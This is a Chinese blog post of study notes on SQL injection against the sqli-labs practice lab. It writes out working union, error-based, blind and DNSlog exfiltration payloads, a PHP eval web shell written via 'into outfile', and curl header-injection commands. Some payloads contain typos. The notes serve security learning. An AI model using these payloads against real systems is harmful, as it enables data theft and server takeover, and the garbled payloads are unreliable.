SQL注入——sqli-labs学习笔记
我是边看b站重庆橘子科技的视频边学的,陈腾师傅讲得很好,推荐
https://www.bilibili.com/video/BV1c34y1h7So/?p=7&share_source=copy_web&vd_source=9c22157b2c924857f42d806788cc5fea
Union注入
登入后我们看到提示可以传入id,我们传入就能看到对应id的user和password。
一般来讲,我们需要判断题目为字符型注入还是数字型注入,这里借用几张老师的PPT
小技巧,如果id=2和id=2-1的回显是一样的,说明是字符型注入。否则是数字型注入
在UNION注入场景下,由于页面只回显第一行数据,我们可以将注入数据的id字段设置为0或一个负值,使其在原表中不存在,这样页面就会显示我们注入的数据。同时,也可以在需要回显的位置填写如database()、version()等函数,以获取数据库的信息。
老师给出的板书
sql数据库里面存在一个information_schema数据库,里面含有COLUMS表和TABLES表包含了所有数据库里面的信息,在这里通过group_concat和查询就能获取到当前数据库的表名
比如username=1’union select 1,2,group_concat(table_name) from information_schema.t
ables where table_schema=database()#&password=1
点 (.) 用于分隔 information_schema 和 tables。 这是一种标准命名约定,遵循 SQL 标准。 它表示 tables 是 information_schema 命名空间下的一个对象,就像 mydb.mytable 表示 mytable 表属于 mydb 数据库一样。
报错注入
如图所示,当我们正常进行查询时,不会有回显,只显示You are in…
当我们故意输错database,比如打成datadase,题目回显FUNCTION security.datadase does not exist
我们就通过报错得到信息:当前数据库名为security
extractValue()报错注入
extractvalue(XML_document,Xpath_string)
XML_doucument是string格式,为XML文档对象的名称,例如Doc
XPath_string是路径,XPath格式的字符串
在数据库当中插入这些xml内容
如图创建了ctfstu数据库,并且在库里面创建了xml表
输入命令select extractvalue(doc,'/book/author/surname') from xml;
这里的doc为列名,第二部分/book/author/surname为查询路径
可以查询到这样的结构:
| extractvalue(doc,’/book/author/surname') |
|---|
| benben |
| Melton |
那么怎么进行报错注入呢?当我们只是输错路径名时,比如/book/authorr,则只会查询不到内容,而不会报错
我们发现extractvalue对路径比较敏感,当路径符号出错时,会出现错误信息
比如:当路径为'~book/title'时
会显示类似的报错信息:ERROR 1105 (HY000): XPATH syntax error: '~book/title'
于是,想到:如果我们在报错之前先执行SELECT查询语句,从而在报错内容中回显我们想要的内容?
构建语句:select extractvalue(doc,concat(0x7e,(select database()))) from xml;
这里的
0x7e是十六进制表示的字符 ‘~’,我们用concat把~和数据库名拼接在一起,就构建了非法路径。(btw,group_concat()用于把查询到的结果合并到一行显示)
回显出ERROR 1105 (HY000): XPATH syntax error: '~ctfstu'于是我们得到库名ctfstu
当报错信息长度有限制时,可以用substring来截取。
Updatexml报错注入
原理同上,函数**updatexml(XML_document,XPath_string,new_value)**包含三个参数
XML_doucument是string格式,为XML文档对象的名称,例如Doc
XPath_string是路径,XPath格式的字符串
new_value,string格式,替换查找到的符合条件的数据
同extractvalue(),输入错误的路径(更改路径符号)
正常句式:select updatexml(doc,’/book/auther/surname’,‘1’) from xml;
错误句式:select updatexml(doc,’~book/auther/surname’,‘1’) from xml;
就能成功注入出库名
floor报错注入
floor报错是最麻烦的报错
rand()函数:随机返回0~1之间的小鼠
floor()函数:小数向下取整数。
ceiling():向上取整
concat_ws():将括号内数据用第一个字段连接起来
count():汇总统计数量
limit:这里用来显示指定行数
floor报错示例:
?id=0’ union select 1,count(*),concat_ws(’-’,(select concat(’~’,id,username,’:’,password) from users limit 0,1),floor(rand(0)2)) as a information_chema.tables group by a –+
看着有点头疼,先来理解一下各个函数
当我们select rand() from users;的时候,我们users表里面有多少行,他就会显示出多少行的随机数。
select floor(rand()*2); 的返回值不是0就是1
select concat_ws('~',2,3); 会回显2~3
那我们select concat_ws('~',(select database()),floor(rand*2)) from users;
就会回显出类似这样的表:
| concat_ws(’~’,(select database()),floor(rand*2)) |
|---|
| security~1 |
| security~0 |
| security~1 |
| security~1 |
| security~0 |
在上面的示例中,as a的意思就是把这些信息分成两组,分别是1结尾一组和0结尾一组。
| a |
|---|
| security~1 |
| security~0 |
再用count()进行计数,两组内容分别出现多少次。
当我们把rand()的小括号内输入数字,就会出现固定的01格式。(为了稳定出现报错)
那么,我们上面示例的报错注入原理就是:rand()函数进行group by分组和count统计时可能会多次执行,导致键值key重复
简单来说,我们*floor(rand(0)2)的结果是0 1 1 0 1…
那么第一次统计:第一次计算会得到security-0,当它想计数的时候,实际上并不是把security-0复制为键值然后计数器+1
| group_key | count() |
|---|---|
| security-0 | 1 |
而是,它再计算一次,将第二次计算得到的键值存入。(因为第二次就floor出来的值就变成了1),所以真实情况下是这样的:
| group_key | count() |
|---|---|
| security-1 | 1 |
当继续计算的时候,第二次统计会得到security-1,表里有这个键值,使得计数器加一(第三个floor值是1)
| group_key | count() |
|---|---|
| security-1 | 2 |
继续计算,会得到security-0,(都四个floor值为0)没有这个键名,所以再计算一次加入键值
但是问题出现了,程序要把我们第五次计算出来的名写入group_key列,但是第五次得到的结果是security-1,结果报错,key已存在!
ERROR:Duplicat entyr ‘security=1’ for key ‘<group_key>’
所以我们如果不把rand()设为定值的话,它的报错并不稳定。在一般情况下我们选择行数比较多的表比如information_schema.tables作为from来使得出现报错的可能性更大。
所以我们得到库名security。
盲注
页面没有回显位,也没有报错,但是有真假两种状态时,我们就可以使用盲注
布尔盲注
比如less-8中,如果我们注入id=1 ’ and 1=0 –+无回显,当输入id=1 ’ and 1=1 –+时会回显You are in …
我们可以使用ascii()把字母转化为数字,以页面的真假来判断每一位字母。(ascii如果处理多个字母时,只会处理第一个字母)
比如?id=1' and ascii(substr((select database()),1,1))>= 100 --+
观察页面回显,如果为true则数据库名第一个字符的ascii码大于等于100。false则小于100
这里利用二分法最终找到第一个字母的ascii码。
此时我们再把?id=1’ and ascii(substr((select database()),2,1))>= 100 –+
使用substr让他从第二个字符开始,就可以进行第二个字符的判断。
这样我们就可以一步一步地把要得到的信息注入出来。
时间盲注
页面只返回一个正常页面,利用页面响应时间不同来猜数据
函数sleep(n):使得页面休眠n秒再进行反馈
select if(1=2, sleep(0), sleep(3));语句的含义为:如果1=2,那么执行sleep(0),如果1!=2,那么执行sleep(3)
所以我们就得到这样的注入语句:
select if (ascii(substr((select database()),1,1))>100,sleep(0),sleep(3));
原理同上
DNSlog注入
DNSlog也属于盲注的一种
手动注入
select load_file(“var/www/html/test.txt”);
我们可以使用load_file来读取文件(可能需要开放权限)
UNC路径
(Universal Naming Convention,通用命名约定)路径是一种用于访问网络共享资源的路径格式,主要用于 Windows 系统。
格式:\\servername\sharename,其中servername是服务器名,sharename是共享文件夹名称
我们就可以通过UNC路径来访问网络上的共享文件
那么我们所谓的DNSlog是什么呢,比如
select load_file("//security.com/123/test.txt");
我们可以将这个域名被DNS解析产生的日志记录到服务器上,然后查看这个日志
比如我们在DNSlog随便注册一个域名ryw4a6.dnslog.cn
我们可以构建如下payload:
?id=1’ and (select load_file(//(select database()).ryw4a6.dnsload.cn/benben.txt))) –+
我们没有用双引号包裹。因为我们要让select database()先执行,给它添加了一个小括号。但是我们在加上双引号只后,里面的指令就会失效。所以我们要使用concat把指令拼接起来,所以上面那个payload其实是假的(
所以我们应该这样做:
?id=1’ and (select load_file(concat("//",(select database()),".ryw4a6.dnsload.cn/benben.txt"))) –+
所以服务器会去尝试访问这个路径,其实并没有这个路径。我们这时候去DNSlog.cn网站查看DNS Query Record,就会发现有一条来自security.ryw4a6.dnslog.cn的域名请求解析。我们就拿到了数据库名为security
自动注入
我们可以利用CEYE网站和Github上的DnslogSqlinj工具来进行自动化注入
在使用工具时,把DnslogSqlinj的config文件修改为我们自己的域名。善用AI,配置自动化工具。不再多讲
sql注入文件上传
show variable like ‘%secure%’; 可以用来查看上传文件的权限,回显样例如下:
| Variable_name | Value |
|---|---|
| require_secure_transport | OFF |
| secure_auth | ON |
| secure_file_priv |
第三个值为空意味着整个硬盘的路径都可以读取。也就是说这里是可读写的路径。NULL为不可读写
into outfile 命令可以将一个文件写入到服务器中。
比如我们可以传入一个一句话木马:(此处为less-7的独特闭合方式)
?id=-1')) union select 1,"<?php @eval($_POST['password']);?>",3 into outfile "/var/www/html/shell.php
就可能可以RCE服务器,拿到flag。
POST注入
换汤不换药。注意POST传参与GET不同的特性即可。(比如:POST没有长度限制,可以传输大量数据、HEX,例如文件上传、用户敏感信息。数据在请求体中传输,不会出现在 URL 中,因此更安全,适合传输敏感信息。)
HTTP头注入(报头注入)
页面看不到明显变化,找不到注入点,post注入时,万能密码admin’or 1=1无法绕过验证,用户名无法注入,可以尝试报头注入
//唉,好累让AI写了先。具体见到题再放到Guide篇里面精讲。
User-Agent 注入(UAgent 注入)
1. 原理说明
User-Agent 是客户端浏览器/爬虫等自动在请求头部发送的标识。部分 Web 程序会将 User-Agent 入库、拼接到 SQL 语句中(如用于“统计访客来源/终端”或日志记录)。如果没有对其内容进行恰当转义,攻击者可通过篡改 User-Agent 字段,实现 SQL 注入。
2. 常见场景
- 网站统计或后台日志,直接把 User-Agent 内容写入数据库,没有参数校验。
- 某些登录注册功能会把用户 User-Agent 入库、与 Session 绑定。
- 某些爬虫检测规则会分析 User-Agent 并在入库前没有净化。
3. 漏洞演示与利用
构造注入 payload: 用 Burp Suite / curl 改 User-Agent 字段为
Code
Mozilla/5.0' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
或
Code
Mozilla/5.0';SELECT/**/updatexml(1,concat(0x7e,(user()),0x7e),1)--+
curl 示例:
bash
curl https://target.site/path -H "User-Agent: Mozilla/5.0' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT database()),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--+"
- 管理后台常见 User-Agent 日志页面,有时直接页面就回显SQL出错信息。
靶场使用:
- DVWA(低安全模式下)、sqli-labs 少量场景有 user-agent 注入演示。
4. 检测/绕过技巧
- 必须用中间人代理(Burp)或手工脚本,直接请求头注入。
- 大部分CMS不会显示注入结果,但可观察响应时间(时间盲注)。
- 结合 SQL 报错注入、布尔盲注技巧。
5. 防御建议
- 服务器端处理所有 header 字段务必用预编译语句,不要拼接字符串。
- 过滤/限制 header 长度,防止异常内容。
- 后台页面/l日志推荐只读,不要直接回显 header 内容,无需入库的勿存储用户 header。
Referer 注入
1. 原理说明
Referer 是浏览器请求头,自带“我来自哪个网页”的信息。部分站点会把 Referer 字段写入数据库或作为业务逻辑的判别条件,没有经过处理/转义时就易产生 SQL 注入。
2. 常见场景
- 网站统计系统,存储Referer来源地址,用于广告投放或PV统计。
- 文章/图片下载计数、来路追踪等功能。
- 某些平台有“访客来源”查询回显接口。
3. 漏洞演示与利用
curl 示例:
bash
curl https://target.site/path -H "Referer: https://evil.com/' AND extractvalue(1,concat(0x7e,(select user()),0x7e))--+"
- 查看后台统计/日志/接口页面,如果页面有SQL报错即可注入回显。
payload建议:
Code
https://www.baidu.com/' UNION SELECT database() --+
靶场使用:
- DVWA低安全/Medium下 Referer 注入。
- sqli-labs(少数场景)。
4. 检测技巧/绕过
- Referer 很容易短时间更换,建议用代理工具测试。
- 建议用报错注入、时间盲注、延迟注入等方式辅助发现。
5. 防御建议
- 对所有入库或用来拼接 SQL 的 Referer 变量严格参数化。
- Referer 可伪造,安全性不能用于业务判别,仅做统计用。
- 只读显示时注意 HTML 编码,防止XSS,并杜绝回显 SQL 错误。
Cookie 注入
1. 原理说明
Cookie 是浏览器自动带的客户端状态数据,本应只用于身份维持。但某些后台会直接读取 cookie 值,并入库或用作数据库查询,如登录校验、统计功能等。如果未经过滤拼接进 SQL,也会导致注入攻击。
2. 常见场景
- 后台为了记录用户 Session/Token/偏好,存储Cookie到数据库。
- 某些登录/注册/投票功能从 Cookie 读取参数直接拼进SQL语句。
- 登录状态判断时读取 cookie 数据库字段直接判别逻辑。
3. 漏洞演示与利用
curl 示例:
bash
curl https://target.site/path -H "Cookie: PHPSESSID=abcde; user=1' AND updatexml(1,concat(0x7e,(select user()),0x7e),1)--+"
- 某些站点 Cookie key 是 user=或 id=,直接尝试拼接SQL注入 payload。
payload 示例:
Code
Cookie: id=1' and (select sleep(3))--+
靶场:
- sqli-labs的部分实验可以通过 Cookie 注入达到爆破效果。
4. 检测技巧/绕过
- Cookie 字段有时长度限制,建议多尝试不同字段和参数名(如 id=, token=, auth=)。
- 可使用通用注入 payload,配合盲注、报错等综合方法探测。
5. 防御建议
- 禁止直接把 Cookie 值拼接进 SQL 语句(永远使用参数化/预编译)。
- Cookie 用于身份校验等敏感场景强烈建议用白名单、签名机制。
- 避免敏感信息明文保存在 Cookie,加强加密校验。
Comments